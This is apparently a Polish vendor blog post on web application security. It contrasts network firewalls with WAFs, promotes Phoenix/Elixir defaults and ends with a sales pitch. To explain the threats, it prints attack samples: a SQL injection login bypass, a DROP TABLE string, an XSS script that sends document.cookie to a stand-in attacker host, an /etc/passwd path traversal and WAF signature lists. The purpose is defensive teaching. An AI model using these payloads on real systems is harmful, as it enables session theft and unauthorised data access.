Bezpieczeństwo aplikacji webowych - dlaczego firewall na serwerze to za mało i czym jest WAF

Masz firewall na serwerze. Masz certyfikat SSL. Masz hasło do panelu admina (admin123, ale to inna historia). Jesteś bezpieczny?

Nie.

Firewall sieciowy chroni przed atakami na infrastrukturę - skanowanie portów, próby SSH, pakiety z podejrzanych adresów IP. Ale Twoja aplikacja webowa działa na porcie 443 (HTTPS), który firewall celowo przepuszcza. Bo musi - to jest port, przez który wchodzą Twoi klienci. I atakujący.

Atakujący nie łamie się przez zamknięty port. Wchodzi przez otwarte drzwi - przez formularz logowania, pole wyszukiwania, upload pliku, parametr w URL. Wchodzi tą samą drogą co Twoi klienci. Firewall widzi to jako normalny ruch HTTPS. Nie ma pojęcia, że w środku jest '; DROP TABLE klienci; --.

Jak wygląda atak na aplikację webową

SQL Injection - najstarszy i wciąż najskuteczniejszy

Atakujący wpisuje w pole logowania:

Login: admin' OR '1'='1' --
Hasło: cokolwiek

Jeśli Twoja aplikacja buduje zapytanie SQL przez sklejanie stringów:

-- Programista napisał:
SELECT * FROM users WHERE login = 'admin' OR '1'='1' --' AND password = 'cokolwiek'

-- Baza widzi:
SELECT * FROM users WHERE login = 'admin' OR '1'='1'
-- reszta jest komentarzem

-- Warunek '1'='1' jest zawsze prawdziwy
-- Atakujący jest zalogowany jako admin

To nie jest teoria. SQL injection jest na szczycie listy OWASP Top 10 od 20 lat. W 2023 roku firma MOVEit (Progress Software) padła ofiarą SQL injection, co doprowadziło do wycieku danych 2 600 organizacji na świecie, w tym British Airways, BBC, Shell.

XSS (Cross-Site Scripting) - kradzież sesji

Atakujący wstawia kod JavaScript w pole, które wyświetla się innym użytkownikom. Komentarz na forum, opis produktu, pole "uwagi" w zamówieniu:

<script>
  fetch('https://atakujacy.com/steal?cookie=' + document.cookie)
</script>

Gdy inny użytkownik (np. admin) otworzy stronę z tym komentarzem, jego przeglądarka wykona ten skrypt. Cookie sesji admina leci do atakującego. Atakujący loguje się jako admin. Ma pełen dostęp do systemu.

Brute force - zgadywanie haseł

Bot próbuje zalogować się na konto admin:

Próba 1: admin / password        → Błąd
Próba 2: admin / 123456          → Błąd
Próba 3: admin / admin123        → Błąd
...
Próba 847: admin / Firma2024!    → Sukces

847 prób × 100ms = 85 sekund. W półtorej minuty atakujący ma dostęp do panelu admina. Twój firewall widział 847 normalnych żądań HTTP na endpoint /login. Nic podejrzanego. Nie zablokował ani jednego.

Path traversal - czytanie plików serwera

Atakujący manipuluje parametrem URL:

Normalny URL: /download?file=raport.pdf
Atak:         /download?file=../../../etc/passwd

Jeśli aplikacja nie waliduje ścieżki pliku, atakujący czyta pliki konfiguracyjne serwera. Hasła do bazy danych, klucze API, certyfikaty.

DDoS na warstwę aplikacyjną

Nie chodzi o gigabity ruchu zalewające łącze. Chodzi o sprytne zapytania, które są tanie do wysłania, ale drogie do przetworzenia:

GET /api/search?q=a&page=1&per_page=10000000
GET /api/reports?from=2000-01-01&to=2030-12-31&format=pdf
GET /api/products?include=reviews,images,variants,history,audit_log

Jedno zapytanie generuje raport za 30 lat. Serwer pracuje 60 sekund. 100 takich zapytań = serwer nie obsługuje nikogo innego. To jest DDoS bez botnetu - jeden laptop z pętlą.

Co widzi firewall sieciowy vs co widzi WAF

Firewall sieciowy (layer 3/4)

Widzi:

  • Adresy IP (źródło, cel)
  • Porty (80, 443, 22)
  • Protokoły (TCP, UDP)
  • Flagi pakietów

Nie widzi:

  • Co jest w środku żądania HTTP
  • Czy parametry URL są złośliwe
  • Czy formularz zawiera SQL injection
  • Czy request to brute force czy normalny login

Firewall sieciowy widzi kopertę. Nie czyta listu w środku.

WAF - Web Application Firewall (layer 7)

WAF działa na warstwie aplikacyjnej. Otwiera "kopertę" i czyta "list":

Widzi:

  • Pełną treść żądania HTTP (URL, nagłówki, body, cookies)
  • Wzorce ataków w parametrach (SQL injection, XSS, path traversal)
  • Częstotliwość żądań z jednego IP (brute force detection)
  • Anomalie w rozmiarze, formacie, strukturze żądań
  • Geolokalizację źródła (kraj, ASN)
  • Reputację IP (znane botnety, proxy, TOR exit nodes)
Żądanie HTTP:
POST /api/login
Content-Type: application/json
{"login": "admin' OR '1'='1' --", "password": "x"}

Firewall sieciowy: ✓ Port 443, TCP, IP dozwolone. Przepuść.
WAF:               ✗ SQL injection w polu 'login'. ZABLOKUJ.

Jak WAF chroni aplikację

Reguły oparte na sygnaturach

WAF zna wzorce ataków. Tysiące reguł sprawdzających znane techniki:

SQL injection:

  • ' OR '1'='1 - klasyczny bypass logowania
  • UNION SELECT - wyciąganie danych z innych tabel
  • ; DROP TABLE - destrukcja bazy danych
  • SLEEP(5) - blind SQL injection (test przez opóźnienie)

XSS:

  • <script> - wstrzyknięcie JavaScriptu
  • onerror= - event handlery w tagach HTML
  • javascript: - protokół JavaScript w linkach
  • eval( - wykonanie kodu

Path traversal:

  • ../ - wychodzenie z katalogu
  • /etc/passwd - próba czytania plików systemowych
  • %2e%2e%2f - zakodowane ../

Rate limiting - ochrona przed brute force

WAF liczy żądania z jednego IP do wrażliwych endpointów:

Reguła: /api/login - max 10 prób na minutę z jednego IP

IP 185.234.xx.xx:
  09:15:01 - POST /login → OK (próba 1)
  09:15:01 - POST /login → OK (próba 2)
  09:15:02 - POST /login → OK (próba 3)
  ...
  09:15:05 - POST /login → OK (próba 10)
  09:15:05 - POST /login → ZABLOKOWANY (limit exceeded)
                            Blokada IP na 15 minut.
                            Alert do admina.

Brute force zablokowany po 10 próbach. Normalny użytkownik, który pomylił hasło 2 razy, nie jest dotknięty.

Ochrona przed DDoS aplikacyjnym

WAF wykrywa wzorce ruchu wskazujące na atak:

  • Nagły wzrost żądań z jednego IP lub podsieci
  • Żądania do endpointów, które generują duże obciążenie
  • Brak normalnych wzorców przeglądania (brak CSS, JS, obrazków - bo to bot, nie przeglądarka)
  • Podejrzane nagłówki (brak User-Agent, nietypowy Accept)

Wirtualne łatanie (virtual patching)

Odkryto lukę w aplikacji. Naprawa wymaga tygodnia pracy programisty. WAF pozwala zablokować wektor ataku natychmiast - zanim programista naprawi kod:

Luka: parametr 'id' w /api/products/{id} pozwala na SQL injection
Naprawa w kodzie: 1 tydzień

Virtual patch w WAF: 5 minut
Reguła: /api/products/{id} - jeśli {id} zawiera cokolwiek
         poza cyframi → ZABLOKUJ

Efekt: luka jest chroniona w 5 minut. Programista naprawia
       kod w spokoju. WAF zdejmuje patch po naprawie.

Bezpieczeństwo wbudowane w Phoenix/Elixir

WAF to warstwa zewnętrzna - chroni przed atakami z sieci. Ale najlepsza ochrona zaczyna się w kodzie. Phoenix i Elixir mają wbudowane mechanizmy, których nie trzeba "pamiętać o włączeniu" - są domyślne.

SQL injection - niemożliwy w Ecto

W Ecto (ORM Elixira) zapytania są parametryzowane domyślnie. Nie da się zbudować zapytania przez sklejanie stringów, bo API tego nie pozwala:

# Ecto - parametryzowane zapytanie (bezpieczne ZAWSZE)
Repo.all(
  from u in User,
  where: u.login == ^login and u.password_hash == ^hash
)

# Ecto generuje:
# SELECT * FROM users WHERE login = $1 AND password_hash = $2
# Parametry: ["admin' OR '1'='1' --", "hash"]
#
# Baza traktuje cały string jako WARTOŚĆ parametru,
# nie jako fragment SQL. Atak jest niemożliwy.

W Phoenix/Ecto programista musi celowo, świadomie użyć niebezpiecznej funkcji fragment() z surowym SQL. Bezpieczny kod jest domyślny. Niebezpieczny wymaga wysiłku. To jest "secure by default".

XSS - automatyczne escapowanie w szablonach

Phoenix automatycznie escapuje wszystkie dane wyświetlane w szablonach:

# Użytkownik wpisał: <script>alert('xss')</script>
# Phoenix wyświetla: &lt;script&gt;alert('xss')&lt;/script&gt;
#
# Przeglądarka widzi tekst, nie wykonuje skryptu.

# W szablonie HEEx:
<p>Komentarz: <%= @comment %></p>

# Wynik HTML:
<p>Komentarz: &lt;script&gt;alert('xss')&lt;/script&gt;</p>

Programista nie musi pamiętać o escapowaniu. Phoenix robi to automatycznie. Żeby wyświetlić surowy HTML, trzeba celowo użyć raw() - i to natychmiast włącza alerty w code review.

LiveView - mniejsza powierzchnia ataku

LiveView fundamentalnie zmienia model bezpieczeństwa:

W React (SPA): Przeglądarka ma pełną aplikację JavaScript. Atakujący może modyfikować kod w DevTools, manipulować stanem, wywoływać API bezpośrednio. Każdy endpoint API musi sam się bronić.

W LiveView: Przeglądarka ma minimalny klient JavaScript (~30KB), który wysyła eventy i podmienia fragmenty DOM. Logika jest na serwerze. Atakujący nie ma dostępu do logiki biznesowej, stanu aplikacji, ani bezpośrednio do bazy danych. Może wysyłać eventy - ale serwer decyduje, co z nimi zrobić.

# LiveView - walidacja na serwerze, nie do obejścia
def handle_event("update_price", %{"price" => price}, socket) do
  # Sprawdź uprawnienia - na serwerze, nie w przeglądarce
  if socket.assigns.current_user.role != :admin do
    {:noreply, put_flash(socket, :error, "Brak uprawnień")}
  else
    # Walidacja - na serwerze, nie w przeglądarce
    case Float.parse(price) do
      {value, _} when value > 0 ->
        Products.update_price(socket.assigns.product, value)
        {:noreply, put_flash(socket, :info, "Cena zaktualizowana")}
      _ ->
        {:noreply, put_flash(socket, :error, "Nieprawidłowa cena")}
    end
  end
end

Atakujący nie może:

  • Wysłać eventu "update_price" i obejść sprawdzenia roli - bo sprawdzenie jest na serwerze
  • Zmodyfikować socket.assigns - bo to stan serwera, nie klienta
  • Wysłać ujemnej ceny - bo walidacja jest na serwerze
  • Obejść logiki przez bezpośrednie wywołanie API - bo nie ma API, jest WebSocket z binarnymi diffami

CSRF - ochrona wbudowana

Cross-Site Request Forgery - atak, w którym złośliwa strona wysyła żądanie do Twojej aplikacji w imieniu zalogowanego użytkownika. Phoenix generuje tokeny CSRF automatycznie dla każdego formularza. Żądanie bez ważnego tokenu jest odrzucane. Zero konfiguracji.

Bezpieczne sesje

Phoenix domyślnie:

  • Przechowuje sesje w podpisanych, zaszyfrowanych cookies
  • Ustawia flagi HttpOnly (niedostępne dla JavaScript) i Secure (tylko HTTPS)
  • Ma konfigurowalny czas wygasania sesji
  • Regeneruje ID sesji po logowaniu (ochrona przed session fixation)

WAF + Phoenix - obrona w głąb

Najlepsza strategia bezpieczeństwa to defense in depth - wiele warstw ochrony, z których każda łapie to, co przeszło przez poprzednią:

Atakujący musiałby przejść przez wszystkie cztery warstwy. WAF blokuje 95% ataków automatycznych. Phoenix blokuje większość tego, co przejdzie. Logika aplikacji waliduje dane. PostgreSQL izoluje dostęp na poziomie wierszy.

OWASP Top 10 - jak nasz stack odpowiada na każde zagrożenie

OWASP Top 10 to lista najczęstszych zagrożeń dla aplikacji webowych. Oto jak nasz stack je adresuje:

#Zagrożenie OWASPWAFPhoenix/ElixirPostgreSQL
1Broken Access ControlRate limiting, geoblockingLiveView (logika na serwerze), roleRow-Level Security
2Cryptographic FailuresSSL/TLS enforcementArgon2 (hasła), signed cookiesSzyfrowanie at rest
3Injection (SQL, XSS)Sygnatury atakówEcto (parametryzowane), auto-escapePrepared statements
4Insecure DesignVirtual patchingSecure by default, ChangesetsConstrainty, typy
5Security MisconfigurationDomyślne regułyBezpieczne domyślne ustawieniapg_hba.conf, SSL
6Vulnerable ComponentsBlokada exploitówmix deps.audit, Hex advisoryRegularne aktualizacje
7Auth FailuresBrute force protectionPhx.Gen.Auth, sesje, 2FAAudit log
8Data Integrity FailuresRequest validationChangesets, podpisy kryptograficzneACID, FK constraints
9Logging & MonitoringLogi żądań, alertyTelemetry, Logger, LiveDashboardpg_stat_statements
10SSRFBlokada wewnętrznych IPWalidacja URL, allowlistsOgraniczone uprawnienia

Ile kosztuje bezpieczeństwo vs ile kosztuje jego brak

Koszt wdrożenia bezpieczeństwa

ElementKosztCzęstotliwość
WAF (Cloudflare Pro / AWS WAF)100-500 PLN/mies.Miesięcznie
Konfiguracja WAF5 000-15 000 PLNJednorazowo
Audyt bezpieczeństwa10 000-30 000 PLNRocznie
Testy penetracyjne15 000-50 000 PLNRocznie
Bezpieczne praktyki w kodzie0 PLN (wbudowane w Phoenix)-
Razem rok 135 000-100 000 PLN
Razem kolejne lata30 000-85 000 PLN/rok

Koszt incydentu bezpieczeństwa

ElementKoszt
Kara RODO (do 4% obrotu)100 000 - miliony PLN
Obsługa prawna incydentu50 000-200 000 PLN
Powiadomienie poszkodowanych klientów20 000-100 000 PLN
Forensics (analiza śledcza)30 000-100 000 PLN
Naprawa systemu po włamaniu50 000-300 000 PLN
Utraceni klienci (reputacja)Niepoliczalne
Razem250 000 - miliony PLN

Jeden incydent kosztuje więcej niż 10 lat inwestycji w bezpieczeństwo.

Statystyki, które nie kłamią

  • 30 000 stron jest hakowanych dziennie na świecie (Forbes)
  • 43% ataków celuje w małe i średnie firmy (Verizon DBIR)
  • 60% małych firm zamyka się w ciągu 6 miesięcy po ataku (National Cyber Security Alliance)
  • Średni koszt wycieku danych to 4.45 mln USD globalnie (IBM Cost of a Data Breach 2023)

To nie są problemy "dużych korporacji". Twoja firma z 50 pracownikami jest łatwiejszym celem niż bank - bo bank ma zespół bezpieczeństwa, a Ty masz Tomka.

Checklist bezpieczeństwa dla Twojej aplikacji

Podstawy (musisz mieć)

  • HTTPS na całej stronie (SSL/TLS)
  • Hasła hashowane (Argon2/bcrypt, nie MD5/SHA1, nie plain text)
  • Parametryzowane zapytania SQL (nie sklejanie stringów)
  • Escapowanie danych wyświetlanych użytkownikowi (anty-XSS)
  • Tokeny CSRF w formularzach
  • Rate limiting na logowaniu (max 10 prób/minutę)
  • Aktualne zależności (bez znanych podatności)

Standard (powinieneś mieć)

  • WAF przed aplikacją
  • Content Security Policy (CSP) nagłówki
  • Bezpieczne cookie (HttpOnly, Secure, SameSite)
  • Audit log (kto co kiedy)
  • Automatyczne wylogowanie po bezczynności
  • Polityka haseł (min. 12 znaków, bez wymogu znaków specjalnych)
  • Backup szyfrowany

Zaawansowane (warto mieć)

  • Dwuskładnikowe uwierzytelnianie (2FA/MFA)
  • Row-Level Security w PostgreSQL
  • Testy penetracyjne (raz w roku)
  • Monitoring anomalii (nietypowe logowania, masowe eksporty)
  • Incident response plan (co robić gdy ktoś się włamie)
  • Szyfrowanie bazy at rest (TDE)
  • Network segmentation (baza danych niedostępna z internetu)

Jeśli w sekcji "Podstawy" masz mniej niż 7 zaznaczonych - Twoja aplikacja jest podatna na ataki, które 15-latek może przeprowadzić z tutoriala na YouTube.

Od czego zacząć

Krok 1: Włącz WAF (dziś)

Cloudflare oferuje darmowy plan z podstawowym WAF. Zmiana DNS zajmuje 30 minut. Natychmiastowa ochrona przed najpowszechniejszymi atakami. Zero zmian w aplikacji.

Krok 2: Audyt kodu (ten tydzień)

Przejrzyj kod pod kątem:

  • Czy zapytania SQL są parametryzowane?
  • Czy dane wyświetlane użytkownikowi są escapowane?
  • Czy logowanie ma rate limiting?
  • Czy hasła są hashowane?

Jeśli odpowiedź na którekolwiek pytanie brzmi "nie" - napraw natychmiast.

Krok 3: Testy penetracyjne (ten kwartał)

Zatrudnij firmę do testów penetracyjnych. Powiedzą Ci dokładnie, gdzie są luki. To jest inwestycja, nie koszt - bo każda luka znaleziona przez pentestera to luka, której nie znajdzie atakujący.

Krok 4: Monitoring i alerty (ten miesiąc)

Skonfiguruj alerty na:

  • Nieudane logowania (> 10 z jednego IP)
  • Żądania z podejrzanymi parametrami
  • Nietypowy ruch (nagły wzrost requestów)
  • Dostęp do wrażliwych endpointów poza godzinami pracy

Twoja aplikacja jest dostępna z internetu i nie masz WAF-a? Porozmawiajmy - pomożemy zabezpieczyć Twój system, zanim ktoś inny znajdzie luki za Ciebie.